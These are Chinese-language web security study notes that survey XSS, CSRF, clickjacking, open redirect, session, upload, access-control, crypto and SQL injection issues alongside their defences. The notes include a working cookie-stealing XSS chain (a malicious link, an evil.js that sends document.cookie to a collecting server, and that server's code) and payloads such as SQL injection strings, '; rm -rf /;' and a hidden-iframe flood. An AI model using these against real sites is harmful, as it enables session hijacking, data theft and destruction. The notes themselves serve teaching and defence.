-
- Web攻击
Web安全问题都是由于网站应用的各个方面把攻击者输入的“特殊数据”当做指令执行而形成的。
层面 | Web攻击 | 例子 | 防御 |
Web客户端 | XSS跨站脚本攻击 | '"><script>alert(/cos is my hero./)</script> | HttpOnly 输入检查、输出检查(提示重输/编码/转义) |
CSRF跨站请求伪造 | 引诱博客主点击链接盗取Cookie伪造请求删除博文 | 验证码、Referer、Token | |
重放攻击 | 攻击者截获并重发客户端发送给服务端的请求包,来达到欺骗系统的目的,主要用于身份认证过程 | 身份认证一般采用时间戳和挑战应答方式 | |
Web服务端 | 加密算法漏洞 | 1)不要使用ECB模式 2)不要使用流密码(比如RC4) 3)使用HMAC-SHA1代替MD5(甚至是代替SHA1) 4)不要使用相同的key做不同的事情 5)salts与IV需要随机产生 6)不要自己实现加密算法,尽量使用安全专家已经实现好的库 当你不知道该如何选择时,有以下建议: 1)使用CBC模式的AES256用于加密 2)使用HMAC-SHA512用于完整性检查 3)使用带salt的SHA-256或SHA-512用于Hashing | |
文件上传漏洞 | 网页挂马: | 文件上传目录设置为不可执行(根本) 检查文件后缀名(白名单方式)(缺点:伪造文件后缀名) 可压缩图片破坏可能的脚本。 判断文件头(前10个字节)(缺点:伪造合法文件头) 使用随机数改写文件名和文件路径。 单独设置文件服务器的域名,借助同源策略防御攻击。 | |
认证与授权漏洞 | 垂直越权 | 最小权限原则、默认拒绝策略 | |
水平越权 | 最小权限原则、默认拒绝策略、 用户组、规则引擎 | ||
SQL注入 | ' union select user, pwd, 1, 2, 3, 4 from users-- | JDBC使用PreparedStatement; MyBatis使用#{}不用${} | |
操作系统层 | OS命令注入 | ; rm -rf /; | |
Web容器 | nginx的远程溢出、DoS等 | %c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20 | |
DDOS攻击(分布式拒绝服务攻击、资源耗尽攻击) | SYN flood | 利用TCP协议设计中的缺陷:首先伪造大量源IP地址,同时向服务器发送大量SYN包,但当服务器返回SYN/ACK包时,伪造的IP并不应答(ACK包),造成服务器大量连接等待,从而无暇理睬正常的连接请求。 | SYN Cookie:为每个IP分配一个Cookie,并统计每个IP的访问频率,发现攻击则丢弃该IP发送的SYN包。 与运行商合作共同防御DDOS。 |
应用层DDOS | CC攻击 | 对一些消耗资源较大的应用页面不断发起正常的请求,如查询海量数据库、读写硬盘文件、频繁上传下载、不断刷新耗资源的页面、爬虫(spider)、 入侵大型网站首页并插入一段代码: <iframe src="http://目标网站域名" height=0 width=0 ></iframe> 那么所有访问该页面的请求,同时会对目标网站发起get请求。 | mencache缓存、页面静态化、负载均衡、验证码、限制每个客户端的请求频率 |
Slowloris攻击 | 1)以极低的速度向服务器发送HTTP请求,挤占连接数。 2)发送不完整的HTTP请求:将请求头的结束符\r\n\r\n掐掉一半(占着茅坑不拉屎) | ||
HTTP POST DOS攻击 | 原理同上,区别是Slowloris攻击以极低的速度发送请求头,HTTP POST DOS攻击则是以极低的速度发送请求实体内容。 | ||
请求头过长攻击 | 攻击者通过XSS攻击向客户端写入超长Cookie,则该客户端在清空Cookie前无法向该Cookie所在域发送任何请求(被服务器拒绝)。 | Apache可调整配置参数LimitRequestFieldSize,设为0时,对请求头大小无限制。 | |
攻击者故意输错目标用户的密码使其账户锁定 | 过滤危险IP | ||
短信轰炸 | 验证码、IP请求频率限制、限制发送时间间隔 |
-
- XSS(HTML注入)
XSS(Cross Site Scripting):攻击者往表单插入恶意Script代码(称为XSS Playload),当回显数据时,该Script代码会被执行。
注:①为与CSS相区分,故简称为XSS。②起初是跨域攻击,现在是否跨域已不重要,只是沿用最初定义。
反射型XSS(Non-persistent XSS,非持久型XSS):只是简单地把用户输入的数据“反射”给浏览器。
案例:
在用户登录了存在xss漏洞的网站后,攻击者引诱用户点击恶意链接,该链接含有恶意脚本,该恶意脚本提交到受害网站后反射回用户浏览器,然后向恶意网站发送受害用户的cookie信息。
为什么攻击者不直接引诱用户点击指向恶意网站的恶意脚本的链接,而要经过受害网站来传送该恶意脚本呢?因为受浏览器同源策略的制约,一个域的脚本不能访问另一个域的cookie,所以要让受害网站去取异域脚本返回给浏览器,此时浏览器就认为该脚本是受害网站的。
存在xss漏洞的表单:http://localhost:8080/pweb/main
<h1>测试XSS攻击</h1> <form action="/pweb/testXss" type="post"> <input type="text" name="test" id="test" value="${param.test }"/> <input type="submit" value="提交"/> <input type="reset" value="重置"/> </form> |
xss攻击的链接:
<a href='http://localhost:8080/pweb/testXss?test=<script src="http://localhost:8081/js/evil.js"></script>'>中国银行限量版贷款速来领取!!!</a> |
xss攻击的脚本:http://localhost:8081/js/evil.js
var img = new Image();//var img = document.createElement("img"); img.src = "http://localhost:8081/getCookie?cookie=" + escape(document.cookie); document.body.append(img);//document.body.appendChild(img); |
xss服务器的代码:
/** * Cookie劫持 */ @RequestMapping("/getCookie") public String getCookie(String cookie,HttpServletRequest request){ System.out.println(request.getSession().getId()); System.out.println(cookie); return "/index"; } |
存储型XSS(Persistent XSS,持久型XSS):会把用户输入的数据“存储”在服务端。
攻击示例:
1)商品评论功能中,如果恶意用户输入Script脚本,那么受害用户浏览该恶意用户评论的时候就会执行该脚本,接下来会像反射型XSS一样会话被劫持。
2)黑客发表一篇包含恶意Script脚本的博客文章,所有访问该文章的用户,都会在他们的浏览器中执行该脚本,接下来会像反射型XSS一样会话被劫持。
3)在评论功能中,如果我们将评论的内容直接存到表中,那么显示的时候就可能被用户输入的脚本进行攻击。比如获取cookie:
<script>alert(document.cookie);</script>
案例:
类似反射型的案例,只是把非注册用户提供的恶意链接换成了注册用户直接在输入框中输入以下脚本:
<script src="http://localhost:8081/js/evil.js"></script>
反射型和存储型的区别:
反射型是非注册用户主动引诱受害用户点击恶意链接,存储型是注册用户被动等待受害用户浏览含恶意脚本的页面。
DOM Based XSS:通过修改页面的DOM节点形成XSS攻击。
攻击示例:
常见的XSS Playload:
1)通过读取浏览器的Cookie对象,发起Cookie劫持。成功后可以不通过密码而直接登录进用户的账户
防御
设置cookie的HttpOnly为true
第一步:定义 一过滤器
package com.tongwx.filter; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class CookieFilter implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; Cookie[] cookies = req.getCookies(); if (cookies != null) { Cookie cookie = cookies[0]; if (cookie != null) { /*cookie.setMaxAge(3600); cookie.setSecure(true); resp.addCookie(cookie);*/ //Servlet 2.5不支持在Cookie上直接设置HttpOnly属性 String value = cookie.getValue(); StringBuilder builder = new StringBuilder(); builder.append("JSESSIONID=" + value + "; "); builder.append("Secure; "); builder.append("HttpOnly; "); resp.setHeader("Set-Cookie", builder.toString()); } } chain.doFilter(req, resp); } public void destroy() { } public void init(FilterConfig arg0) throws ServletException { } } |
第二步:web.xml中配置过滤器
<!-- Cookie设置HttpOnly过滤器 --> <filter> <filter-name>cookieFilter</filter-name> <filter-class>com.tongwx.filter.CookieFilter</filter-class> </filter> <filter-mapping> <filter-name>cookieFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> |
输入检查(提示重输、编码或过滤)
注意:前后端都做
前端做的意义在于减少不必要的请求
后端做的意义在于安全验证
有人会觉得前端做了,后端在做就不是很有必要性了,但是事实并非如此,原因有二:
1. 程序员的终极法则:不要相信任何输入,前端工程师不能相信用户的输入;后端工程师不能相信前端的输入
2. 即使你的前端完全值得信赖,也不要忘记并非所有的请求都来自浏览器(如HttpClient请求,以及黑客绕过前端检查)
输出检查
编码、转义:HtmlEncode、JavaScriptEncode、XMLEncode、URLEncode、
-
- CSRF
CSRF(Cross-site request forgery):攻击者在服务器session未失效时,诱导用户点击恶意链接(或用户访问了恶意网站),恶意链接或网站中的恶意脚本盗取了用户cookie身份信息,向服务器发送了恶意请求。其本质是重要操作的所有参数都被攻击者猜到。
案例
攻击者首先在自己的域构造一个页面:http://www.a.com/csrf.html
其内容为:<img src="http://blog.sohu.com/manage/entry.do?m=delete&id=123456789" />
使用了一个<img>标签,其地址指向了删除博客文章的链接。
攻击者诱使博客作者访问该恶意页面,该作者看到了一张无法显示的图片,再回头看自己的博客,id为123456789的博客被删除了!
攻击者仅仅诱使用户访问了一个页面,就以该用户身份在第三方站点执行了目标站点的操作。攻击者伪造的请求之所以能被目标站点验证通过,是因为用户的浏览器成功发送了Cookie。
防御
验证码:CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码则强制用户必须与应用进行交互。但是验证码影响了用户体验。
Referer Check:用于检查请求来源是否同一域(常用于防止图片盗链和下载盗链),如果不是,则认为是CSRF攻击。但是服务器并非都能取到Referer,如用户出于隐私考虑,限制了Referer的发送,或者浏览器从Https跳转到Http时出于安全考虑,也不会发送Referer。
使用令牌Token:Token同时放在form表单的隐藏域和Session(或Cookie中),在提交请求时,验证隐藏域中的Token是否和Session(或Cookie)中的Token一致。每次提交都使用新的Token。但是当XSS和CSRF结合的时候(XSRF),Token将失效,因为XSS可以运行脚本获取Token的值。
因此防御xss是防御CSRF的基础。
-
- ClickJacking)
点击劫持(ClickJacking):使用透明iframe覆盖其他iframe,用户点击目标iframe时触发透明iframe中的事件。例如下载站利用此方式插广告。
拖曳劫持(DragJacking):诱使用户从透明iframe中拖曳出攻击者希望得到的数据,然后放到攻击者能控制的另一个透明iframe中,从而窃取数据。
触屏劫持(TapJacking):触屏设备上的劫持,和点击劫持差不多。
防御:frame busting、X-Frame-Options
-
- Replay-Attack)
重放攻击就是攻击者发送一个目标主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。
防范:为了抵御重放攻击,现在的身份认证一般采用时间戳和挑战应答方式:
用户 系统 申请登陆---〉 |
这里要注意的是挑战值得熵值必须大(变化量要很大),若挑战值变化量不大,攻击者只需截获足够的挑战应答关系,就可以进行重放攻击了。
-
- Open Redirection)
简介
那些通过请求(如查询字符串和表单数据)指定重定向URL的Web程序可能会被篡改,而把用户重定向到外部的恶意URL。这种篡改就被称为开发重定向攻击。
场景分析
假设有一个正规网站http://nerddinner.com/,还有一个恶意网站或钓鱼网站http://nerddiner.com/(注意:这里少了个n)。
一天,小白收到了别人发的链接:http://nerddinner.com/Account/LogOn?returnUrl=nerddiner.com。(攻击者还可对钓鱼网址进行16进制加密如:http://nerddinner.com/Account/LogOn?returnUrl=%6e%65%72%64%64%69%6e%65%72%2e%63%6f%6d)
1. 打开链接后进入了登录界面,小白输入了自己的帐号名密码进行登录。
2. 登录成功后重定向到了恶意网站。
3. 恶意网站是一个仿造正规网站的登录页面,并在上面提示用户名或密码错误。
4. 小白按照提示重新输入了帐号密码信息。
5. 恶意网站保存了客户的用户名密码,然后重定向会正规网站。
6. 小白继续平时正常的操作。
防止开放重定向
防止开发重定向只需要判断重定向的链接是本地的链接或者是合法的链接即可。
1. 如果登录链接和站点其他页面都在同一个域名,在ASP.MVC中可以用Url.IsLocalUrl(string url)来判断。
2. 如果登录链接和站点其他页面不在同一个域名,如单点登录,则需要自己去实现判断的逻辑。
核心代码(非Java)
public ActionResult LogOn(LogOnModel model, string returnUrl) { //Your logon logic here. FormsAuthentication.SetAuthCookie(model.UserName, false); if (!string.IsNullOrEmpty(returnUrl) && Url.IsLocalUrl(returnUrl) //Comment out this code will cause open redirection ) { return Redirect(returnUrl); } return RedirectToAction("Index", "Home"); |
-
- Cookie及Session安全
Cookie泄漏途径:XSS攻击、网络Sniff、本地木马窃取。
案例:通过Referer泄漏URL中的SessionID
很多手机浏览器不支持Cookie,所以只能将SessionID作为URL的一个参数用于认证。QQ的wap邮箱曾经出过此漏洞。
首先,发送到QQ邮箱的邮件中引用了一张外部网站的图片:
<img src="http://www.inbreak.net/logo.php">
然后,当手机用户用手机浏览器打开QQ邮箱,手机浏览器解析图片时,实际上是发起了一次GET请求,这个请求会带上Referer,Referer的值中有sid=...参数。在www.inbreak.net的服务器日志中可以查看到此值,QQ邮箱的sid由此泄漏了。
Session Fixation攻击:如果登录前后用户的SessionID没有发生变化,则会存在Session Fixation问题:攻击者诱使用户点击含sid的URL登录,然后攻击者可凭此URL通过验证。
Session保持攻击:攻击者窃取Cookie后,定时刷新页面以保持Session长期有效。
对策:一定时间后,强制销毁Session。此法可能影响到正常用户,还可以选择的方法是当用户ip或UserAgent发生变化时,强制销毁当前Session。
对策二:每个用户只允许拥有一个Session,用户重新登录时踢出攻击者的Session。
解决单点登录风险集中化:在一些敏感的系统里,再单独实现一些额外的认证机制,比如支付密码、短信验证码。
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
防御:
文件上传目录设置为不可执行。很多大型应用,文件上传后会放到独立的存储上,做静态文件处理。
检查文件后缀名(白名单方式)。(缺点:伪造文件后缀名)
可压缩图片(压缩函数、resize函数),破坏可能的脚本。
通过判断上传文件的文件头(前10个字节)来验证文件类型。(缺点:伪造一个合法的文件头)
使用随机数改写文件名和文件路径。
单独设置文件服务器的域名,借助同源策略防御攻击。
把一个木马程序上传到一个网站里面然后用木马生成器生一个网马,再上到空间里面,再加代码使得木马在打开网页里运行。
认证控制
密码策略
密码长度:普通应用要求长度6位以上,重要应用要求8位以上,并考虑双因素认证。
密码复杂度:密码为大写字母、小写字母、数字、特殊符号、中两种以上组合。不要简单密码。不要重复字符。不要使用有意义的数据。弱密码表参考。
密码保存:不可逆加密(如md5哈希或sha-1哈希)或单向散列函数算法加密后存储到数据库中。
哈希破解:彩虹表(Rainbow Table)
哈希反破解:加盐后再加密,盐应保存在配置文件中。
多因素认证:密码、手机动态口令、数字证书、宝令、支付盾、第三方证书
基于角色的权限控制(垂直权限控制)(Role Based Access Control,RBAC):如Spring Security
基于URL的权限控制
基于方法的权限控制
基于表达式的权限控制
垂直越权:低权限用户访问了高权限用户的资源。
防御:在配置权限时,应当使用“最小权限原则”,并使用“默认拒绝策略”,只对有需要的主体单独配置“允许”的策略。
基于数据的权限控制(水平权限控制)
水平越权:攻击者访问了相同权限用户的资源。
漏洞:例如以手机号作为登陆名。当登陆认证通过时,查询个人信息,把手机号和token一起post给后台,后台查看token正确之后,未检查该token是否属于该手机号的,就可能返回其它人的信息。
原因:只做了认证,却没有做鉴权。
防御:将token做鉴权,即将token与登陆名绑定,这样用户就无法访问到其它用户的信息了。
漏洞:如果只通过订单id去查找订单详情,攻击者可以通过穷举id查询到其他用户的订单。
当系统只验证用户是否属于某角色,而不判断该用户是否能访问其他相同角色的用户的数据时,就能发生水平越权访问。即系统只验证了用户在角色级别的访问权限,而未验证用户在数据级别的访问权限。
防御:
1)最小权限原则、默认拒绝策略
2)可以考虑使用用户组的概念。比如一个用户组的数据只属于该组内的成员。此外,还可以考虑实现一个规则引擎,将访问控制的规则写在配置文件中。
加密算法
分组加密:基于分组进行加解密。代表:DES、3-DES、Blowfish、IDEA、AES
流密码加密:每次只处理一个字节,密钥独立于消息之外,两者通过异或实现加解密,性能佳。代表:RC4、ORYX、SEAL
常见攻击
Reused Key Attack
不要使用同一个密钥进行多次加解密。否则会有Reused Key Attack,攻击者不需要密钥即可还原出明文:
假设有密钥C\,明文A、B,那么XOR加密可表示为:
E(A) = A xor C;
E(B) = B xor C;
则
E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B (两个相同的数异或得0)
E(A) xor E(B) = A xor B意味着不需密钥C,只需攻破明文A即可算出明文B
Bit-flipping Attack
Padding Oracle Attack
密钥集中管理
不要将密钥及salt、key硬编码在代码里!常见的做法是将密钥(包括密码)保存在配置文件或数据库中,并严格控制访问权限。在应用发布到生成环境时,需要重新生成新的密钥或密码。要定期更新密钥。一个比较安全的密钥管理系统,可以将所有密钥(及一些敏感的配置文件)都击中保存在一个服务器(集群)上,并通过Web Service的方式提供获取密钥的API。每个Web应用在需要使用密钥时,通过带认证信息的API请求密钥管理系统,动态获取密钥。Web应用不能把密钥写入本地文件中,只加载到内存。
使用安全的随机数
不要把时间毫秒数当成随机数使用,因为攻击者可穷举当前系统时间周围几秒的所有毫秒数。
Java中可使用java.security.SecureRandom生成足够强壮的随机数。
加密算法最佳实践
1)不要使用ECB模式
2)不要使用流密码(比如RC4)
3)使用HMAC-SHA1代替MD5(甚至是代替SHA1)
4)不要使用相同的key做不同的事情
5)salts与IV需要随机产生
6)不要自己实现加密算法,尽量使用安全专家已经实现好的库
当你不知道该如何选择时,有以下建议:
1)使用CBC模式的AES256用于加密
2)使用HMAC-SHA512用于完整性检查
3)使用带salt的SHA-256或SHA-512用于Hashing
数据库密码安全
md5加密
方法:一种不可逆加密算法。我们可以将密码使用md5加密后进行存储。在判断的时候,需要将用户输入的数据加密再和表中的数据相对比。
缺点:彩虹表穷举法可能破解md5加密。
解决:md5加盐:给要加密的数据追加字符串或字段后再加密。判断的时候,也是先加盐再加密,然后再比对。
RSA加密
HTTPS要使客户端与服务器端的通信过程得到安全保证,必须使用的对称加密算法,但是协商对称加密算法的过程,需要使用非对称加密算法来保证安全,然而直接使用非对称加密的过程本身也不安全,会有中间人篡改公钥的可能性,所以客户端与服务器不直接使用公钥,而是使用数字证书签发机构颁发的证书来保证非对称加密过程本身的安全。这样通过这些机制协商出一个对称加密算法,就此双方使用该算法进行加密解密。从而解决了客户端与服务器端之间的通信安全问题。
通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
例子:
万能密码(填入用户名输入框或密码框):' or 1 = 1 --(原理:①or的优先级比not和and低,遇真则真;②--注释掉其他where条件)
删除表:'; drop table 表名 --
防范:如果是JDBC,使用PreparedStatement;如果是MyBatis,使用#{}不要使用${}
Web应用安全问题本质上源于软件质量问题。但Web应用相较传统的软件,具有其独特性。Web应用往往是某个机构所独有的应用,对其存在的漏洞,已知的通用漏洞签名缺乏有效性;需要频繁地变更以满足业务目标,从而使得很难维持有序的开发周期;需要全面考虑客户端与服务端的复杂交互场景,而往往很多开发者没有很好地理解业务流程;人们通常认为Web开发比较简单,缺乏经验的开发者也可以胜任。
Web应用安全,理想情况下应该在软件开发生命周期遵循安全编码原则,并在各阶段采取相应的安全措施。然而,多数网站的实际情况是:大量早期开发的Web应用,由于历史原因,都存在不同程度的安全问题。对于这些已上线、正提供生产的Web应用,由于其定制化特点决定了没有通用补丁可用,而整改代码因代价过大变得较难施行或者需要较长的整改周期。
这种现状,专业的Web安全防护工具是一种合理的选择。WEB应用防火墙(以下简称WAF)正是这类专业工具,提供了一种安全运维控制手段:基于对HTTP/HTTPS流量的双向分析,为Web应用提供实时的防护。
常见的WEB安全产品有梭子鱼WEB应用防火墙等。